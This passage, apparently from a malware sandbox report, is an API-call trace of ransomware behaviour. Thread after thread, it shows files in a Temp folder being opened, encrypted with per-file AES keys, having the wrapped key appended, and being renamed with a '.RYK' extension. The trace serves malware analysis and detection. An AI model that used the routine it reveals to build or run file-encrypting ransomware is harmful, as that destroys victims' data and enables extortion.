	[0256.760] CryptExportKey (in: hKey=0x3f8030, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x910fbc0 | out: pbData=0x0*, pdwDataLen=0x910fbc0*=0x10c) returned 1
	[0256.760] CryptExportKey (in: hKey=0x3f8030, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x910fc30, pdwDataLen=0x910fbc0 | out: pbData=0x910fc30*, pdwDataLen=0x910fbc0*=0x10c) returned 1
	[0256.760] WriteFile (in: hFile=0x6cc, lpBuffer=0x910fc30*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x910fbb0, lpOverlapped=0x0 | out: lpBuffer=0x910fc30*, lpNumberOfBytesWritten=0x910fbb0*=0x10c, lpOverlapped=0x0) returned 1
	[0256.760] CloseHandle (hObject=0x6cc) returned 1
	[0256.762] CryptDestroyKey (hKey=0x3f8030) returned 1
	[0256.762] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\rUJZ.gif" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\rujz.gif"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\rUJZ.gif.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\rujz.gif.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3454
	os_tid = 0x3bb4

	[0256.041] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\s-gmsn.mkv", dwFileAttributes=0x80) returned 1
	[0256.419] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\s-gmsn.mkv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\s-gmsn.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6c8
	[0256.419] GetFileSizeEx (in: hFile=0x6c8, lpFileSize=0x92bfbd8 | out: lpFileSize=0x92bfbd8*=42884) returned 1
	[0256.419] GetFileSizeEx (in: hFile=0x6c8, lpFileSize=0x92bfbe8 | out: lpFileSize=0x92bfbe8*=42884) returned 1
	[0256.420] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0xa662, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0256.420] ReadFile (in: hFile=0x6c8, lpBuffer=0x92bfc30, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x92bfba0, lpOverlapped=0x0 | out: lpBuffer=0x92bfc30*, lpNumberOfBytesRead=0x92bfba0*=0x19, lpOverlapped=0x0) returned 1
	[0256.421] SetFilePointer (in: hFile=0x6c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.421] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x92bfbb8 | out: phKey=0x92bfbb8*=0x3f7a80) returned 1
	[0256.421] SetFilePointer (in: hFile=0x6c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.421] ReadFile (in: hFile=0x6c8, lpBuffer=0x3180000, nNumberOfBytesToRead=0xa784, lpNumberOfBytesRead=0x92bfbc4, lpOverlapped=0x0 | out: lpBuffer=0x3180000*, lpNumberOfBytesRead=0x92bfbc4*=0xa784, lpOverlapped=0x0) returned 1
	[0256.422] CryptEncrypt (in: hKey=0x3f7a80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x92bfbc0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x92bfbc0*=0xf4250) returned 1
	[0256.422] CryptEncrypt (in: hKey=0x3f7a80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3180000*, pdwDataLen=0x92bfbc8*=0xa784, dwBufLen=0xf4250 | out: pbData=0x3180000*, pdwDataLen=0x92bfbc8*=0xa790) returned 1
	[0256.422] SetFilePointer (in: hFile=0x6c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.422] WriteFile (in: hFile=0x6c8, lpBuffer=0x3180000*, nNumberOfBytesToWrite=0xa790, lpNumberOfBytesWritten=0x92bfbc4, lpOverlapped=0x0 | out: lpBuffer=0x3180000*, lpNumberOfBytesWritten=0x92bfbc4*=0xa790, lpOverlapped=0x0) returned 1
	[0256.763] WriteFile (in: hFile=0x6c8, lpBuffer=0x92bfbf0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x92bfbd0, lpOverlapped=0x0 | out: lpBuffer=0x92bfbf0*, lpNumberOfBytesWritten=0x92bfbd0*=0x6, lpOverlapped=0x0) returned 1
	[0256.768] CryptExportKey (in: hKey=0x3f7a80, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x92bfbe0 | out: pbData=0x0*, pdwDataLen=0x92bfbe0*=0x10c) returned 1
	[0256.768] CryptExportKey (in: hKey=0x3f7a80, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x92bfc50, pdwDataLen=0x92bfbe0 | out: pbData=0x92bfc50*, pdwDataLen=0x92bfbe0*=0x10c) returned 1
	[0256.768] WriteFile (in: hFile=0x6c8, lpBuffer=0x92bfc50*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x92bfbd0, lpOverlapped=0x0 | out: lpBuffer=0x92bfc50*, lpNumberOfBytesWritten=0x92bfbd0*=0x10c, lpOverlapped=0x0) returned 1
	[0256.768] CloseHandle (hObject=0x6c8) returned 1
	[0256.770] CryptDestroyKey (hKey=0x3f7a80) returned 1
	[0256.770] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\s-gmsn.mkv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\s-gmsn.mkv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\s-gmsn.mkv.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\s-gmsn.mkv.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3455
	os_tid = 0x3bb8

	[0256.042] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\suL76PCDpBtAV.mp4", dwFileAttributes=0x80) returned 1
	[0256.423] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\suL76PCDpBtAV.mp4" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\sul76pcdpbtav.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6c4
	[0256.423] GetFileSizeEx (in: hFile=0x6c4, lpFileSize=0x948fb18 | out: lpFileSize=0x948fb18*=24098) returned 1
	[0256.423] GetFileSizeEx (in: hFile=0x6c4, lpFileSize=0x948fb28 | out: lpFileSize=0x948fb28*=24098) returned 1
	[0256.423] SetFilePointerEx (in: hFile=0x6c4, liDistanceToMove=0x5d00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0256.423] ReadFile (in: hFile=0x6c4, lpBuffer=0x948fb70, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x948fae0, lpOverlapped=0x0 | out: lpBuffer=0x948fb70*, lpNumberOfBytesRead=0x948fae0*=0x19, lpOverlapped=0x0) returned 1
	[0256.425] SetFilePointer (in: hFile=0x6c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.425] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x948faf8 | out: phKey=0x948faf8*=0x3f7af0) returned 1
	[0256.425] SetFilePointer (in: hFile=0x6c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.425] ReadFile (in: hFile=0x6c4, lpBuffer=0x3280000, nNumberOfBytesToRead=0x5e22, lpNumberOfBytesRead=0x948fb04, lpOverlapped=0x0 | out: lpBuffer=0x3280000*, lpNumberOfBytesRead=0x948fb04*=0x5e22, lpOverlapped=0x0) returned 1
	[0256.425] CryptEncrypt (in: hKey=0x3f7af0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x948fb00*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x948fb00*=0xf4250) returned 1
	[0256.426] CryptEncrypt (in: hKey=0x3f7af0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3280000*, pdwDataLen=0x948fb08*=0x5e22, dwBufLen=0xf4250 | out: pbData=0x3280000*, pdwDataLen=0x948fb08*=0x5e30) returned 1
	[0256.426] SetFilePointer (in: hFile=0x6c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.426] WriteFile (in: hFile=0x6c4, lpBuffer=0x3280000*, nNumberOfBytesToWrite=0x5e30, lpNumberOfBytesWritten=0x948fb04, lpOverlapped=0x0 | out: lpBuffer=0x3280000*, lpNumberOfBytesWritten=0x948fb04*=0x5e30, lpOverlapped=0x0) returned 1
	[0256.775] WriteFile (in: hFile=0x6c4, lpBuffer=0x948fb30*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x948fb10, lpOverlapped=0x0 | out: lpBuffer=0x948fb30*, lpNumberOfBytesWritten=0x948fb10*=0x6, lpOverlapped=0x0) returned 1
	[0256.775] CryptExportKey (in: hKey=0x3f7af0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x948fb20 | out: pbData=0x0*, pdwDataLen=0x948fb20*=0x10c) returned 1
	[0256.775] CryptExportKey (in: hKey=0x3f7af0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x948fb90, pdwDataLen=0x948fb20 | out: pbData=0x948fb90*, pdwDataLen=0x948fb20*=0x10c) returned 1
	[0256.775] WriteFile (in: hFile=0x6c4, lpBuffer=0x948fb90*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x948fb10, lpOverlapped=0x0 | out: lpBuffer=0x948fb90*, lpNumberOfBytesWritten=0x948fb10*=0x10c, lpOverlapped=0x0) returned 1
	[0256.775] CloseHandle (hObject=0x6c4) returned 1
	[0256.776] CryptDestroyKey (hKey=0x3f7af0) returned 1
	[0256.776] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\suL76PCDpBtAV.mp4" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\sul76pcdpbtav.mp4"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\suL76PCDpBtAV.mp4.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\sul76pcdpbtav.mp4.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3456
	os_tid = 0x3bbc

	[0256.043] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Ta8_Kc.bmp", dwFileAttributes=0x80) returned 1
	[0256.426] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Ta8_Kc.bmp" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ta8_kc.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6c0
	[0256.426] GetFileSizeEx (in: hFile=0x6c0, lpFileSize=0x9b0f5d8 | out: lpFileSize=0x9b0f5d8*=2554) returned 1
	[0256.426] GetFileSizeEx (in: hFile=0x6c0, lpFileSize=0x9b0f5e8 | out: lpFileSize=0x9b0f5e8*=2554) returned 1
	[0256.426] SetFilePointerEx (in: hFile=0x6c0, liDistanceToMove=0x8d8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0256.427] ReadFile (in: hFile=0x6c0, lpBuffer=0x9b0f630, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9b0f5a0, lpOverlapped=0x0 | out: lpBuffer=0x9b0f630*, lpNumberOfBytesRead=0x9b0f5a0*=0x19, lpOverlapped=0x0) returned 1
	[0256.428] SetFilePointer (in: hFile=0x6c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.428] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x9b0f5b8 | out: phKey=0x9b0f5b8*=0x3f7f50) returned 1
	[0256.428] SetFilePointer (in: hFile=0x6c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.428] ReadFile (in: hFile=0x6c0, lpBuffer=0x3380000, nNumberOfBytesToRead=0x9fa, lpNumberOfBytesRead=0x9b0f5c4, lpOverlapped=0x0 | out: lpBuffer=0x3380000*, lpNumberOfBytesRead=0x9b0f5c4*=0x9fa, lpOverlapped=0x0) returned 1
	[0256.428] CryptEncrypt (in: hKey=0x3f7f50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x9b0f5c0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x9b0f5c0*=0xf4250) returned 1
	[0256.428] CryptEncrypt (in: hKey=0x3f7f50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3380000*, pdwDataLen=0x9b0f5c8*=0x9fa, dwBufLen=0xf4250 | out: pbData=0x3380000*, pdwDataLen=0x9b0f5c8*=0xa00) returned 1
	[0256.429] SetFilePointer (in: hFile=0x6c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.429] WriteFile (in: hFile=0x6c0, lpBuffer=0x3380000*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x9b0f5c4, lpOverlapped=0x0 | out: lpBuffer=0x3380000*, lpNumberOfBytesWritten=0x9b0f5c4*=0xa00, lpOverlapped=0x0) returned 1
	[0256.784] WriteFile (in: hFile=0x6c0, lpBuffer=0x9b0f5f0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x9b0f5d0, lpOverlapped=0x0 | out: lpBuffer=0x9b0f5f0*, lpNumberOfBytesWritten=0x9b0f5d0*=0x6, lpOverlapped=0x0) returned 1
	[0256.784] CryptExportKey (in: hKey=0x3f7f50, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x9b0f5e0 | out: pbData=0x0*, pdwDataLen=0x9b0f5e0*=0x10c) returned 1
	[0256.784] CryptExportKey (in: hKey=0x3f7f50, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x9b0f650, pdwDataLen=0x9b0f5e0 | out: pbData=0x9b0f650*, pdwDataLen=0x9b0f5e0*=0x10c) returned 1
	[0256.784] WriteFile (in: hFile=0x6c0, lpBuffer=0x9b0f650*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x9b0f5d0, lpOverlapped=0x0 | out: lpBuffer=0x9b0f650*, lpNumberOfBytesWritten=0x9b0f5d0*=0x10c, lpOverlapped=0x0) returned 1
	[0256.784] CloseHandle (hObject=0x6c0) returned 1
	[0256.785] CryptDestroyKey (hKey=0x3f7f50) returned 1
	[0256.785] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Ta8_Kc.bmp" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ta8_kc.bmp"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Ta8_Kc.bmp.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ta8_kc.bmp.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3457
	os_tid = 0x3bc0

	[0256.043] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\tEz6zz54a3QKe1jYs.mp3", dwFileAttributes=0x80) returned 1
	[0256.429] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\tEz6zz54a3QKe1jYs.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\tez6zz54a3qke1jys.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6bc
	[0256.429] GetFileSizeEx (in: hFile=0x6bc, lpFileSize=0x8c2f5d8 | out: lpFileSize=0x8c2f5d8*=42618) returned 1
	[0256.429] GetFileSizeEx (in: hFile=0x6bc, lpFileSize=0x8c2f5e8 | out: lpFileSize=0x8c2f5e8*=42618) returned 1
	[0256.429] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0xa558, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0256.429] ReadFile (in: hFile=0x6bc, lpBuffer=0x8c2f630, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8c2f5a0, lpOverlapped=0x0 | out: lpBuffer=0x8c2f630*, lpNumberOfBytesRead=0x8c2f5a0*=0x19, lpOverlapped=0x0) returned 1
	[0256.431] SetFilePointer (in: hFile=0x6bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.431] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x8c2f5b8 | out: phKey=0x8c2f5b8*=0x3f7e00) returned 1
	[0256.431] SetFilePointer (in: hFile=0x6bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.431] ReadFile (in: hFile=0x6bc, lpBuffer=0x3480000, nNumberOfBytesToRead=0xa67a, lpNumberOfBytesRead=0x8c2f5c4, lpOverlapped=0x0 | out: lpBuffer=0x3480000*, lpNumberOfBytesRead=0x8c2f5c4*=0xa67a, lpOverlapped=0x0) returned 1
	[0256.431] CryptEncrypt (in: hKey=0x3f7e00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8c2f5c0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8c2f5c0*=0xf4250) returned 1
	[0256.432] CryptEncrypt (in: hKey=0x3f7e00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3480000*, pdwDataLen=0x8c2f5c8*=0xa67a, dwBufLen=0xf4250 | out: pbData=0x3480000*, pdwDataLen=0x8c2f5c8*=0xa680) returned 1
	[0256.432] SetFilePointer (in: hFile=0x6bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.432] WriteFile (in: hFile=0x6bc, lpBuffer=0x3480000*, nNumberOfBytesToWrite=0xa680, lpNumberOfBytesWritten=0x8c2f5c4, lpOverlapped=0x0 | out: lpBuffer=0x3480000*, lpNumberOfBytesWritten=0x8c2f5c4*=0xa680, lpOverlapped=0x0) returned 1
	[0256.791] WriteFile (in: hFile=0x6bc, lpBuffer=0x8c2f5f0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8c2f5d0, lpOverlapped=0x0 | out: lpBuffer=0x8c2f5f0*, lpNumberOfBytesWritten=0x8c2f5d0*=0x6, lpOverlapped=0x0) returned 1
	[0256.791] CryptExportKey (in: hKey=0x3f7e00, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8c2f5e0 | out: pbData=0x0*, pdwDataLen=0x8c2f5e0*=0x10c) returned 1
	[0256.791] CryptExportKey (in: hKey=0x3f7e00, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x8c2f650, pdwDataLen=0x8c2f5e0 | out: pbData=0x8c2f650*, pdwDataLen=0x8c2f5e0*=0x10c) returned 1
	[0256.791] WriteFile (in: hFile=0x6bc, lpBuffer=0x8c2f650*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8c2f5d0, lpOverlapped=0x0 | out: lpBuffer=0x8c2f650*, lpNumberOfBytesWritten=0x8c2f5d0*=0x10c, lpOverlapped=0x0) returned 1
	[0256.791] CloseHandle (hObject=0x6bc) returned 1
	[0256.792] CryptDestroyKey (hKey=0x3f7e00) returned 1
	[0256.792] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\tEz6zz54a3QKe1jYs.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\tez6zz54a3qke1jys.mp3"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\tEz6zz54a3QKe1jYs.mp3.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\tez6zz54a3qke1jys.mp3.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3458
	os_tid = 0x3bc4

	[0256.044] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\uJdarKwGlT5w5zNqc7M.jpg", dwFileAttributes=0x80) returned 1
	[0256.432] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\uJdarKwGlT5w5zNqc7M.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ujdarkwglt5w5znqc7m.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e4
	[0256.432] GetFileSizeEx (in: hFile=0x6e4, lpFileSize=0x9c2fc18 | out: lpFileSize=0x9c2fc18*=88226) returned 1
	[0256.432] GetFileSizeEx (in: hFile=0x6e4, lpFileSize=0x9c2fc28 | out: lpFileSize=0x9c2fc28*=88226) returned 1
	[0256.433] SetFilePointerEx (in: hFile=0x6e4, liDistanceToMove=0x15780, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0256.433] ReadFile (in: hFile=0x6e4, lpBuffer=0x9c2fc70, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x9c2fbe0, lpOverlapped=0x0 | out: lpBuffer=0x9c2fc70*, lpNumberOfBytesRead=0x9c2fbe0*=0x19, lpOverlapped=0x0) returned 1
	[0256.434] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.434] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x9c2fbf8 | out: phKey=0x9c2fbf8*=0x3f8110) returned 1
	[0256.434] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0256.434] ReadFile (in: hFile=0x6e4, lpBuffer=0x3880000, nNumberOfBytesToRead=0x158a2, lpNumberOfBytesRead=0x9c2fc04, lpOverlapped=0x0 | out: lpBuffer=0x3880000*, lpNumberOfBytesRead=0x9c2fc04*=0x158a2, lpOverlapped=0x0) returned 1
	[0256.435] CryptEncrypt (in: hKey=0x3f8110, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x9c2fc00*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x9c2fc00*=0xf4250) returned 1
	[0256.435] CryptEncrypt (in: hKey=0x3f8110, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3880000*, pdwDataLen=0x9c2fc08*=0x158a2, dwBufLen=0xf4250 | out: pbData=0x3880000*, pdwDataLen=0x9c2fc08*=0x158b0) returned 1
	[0256.436] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
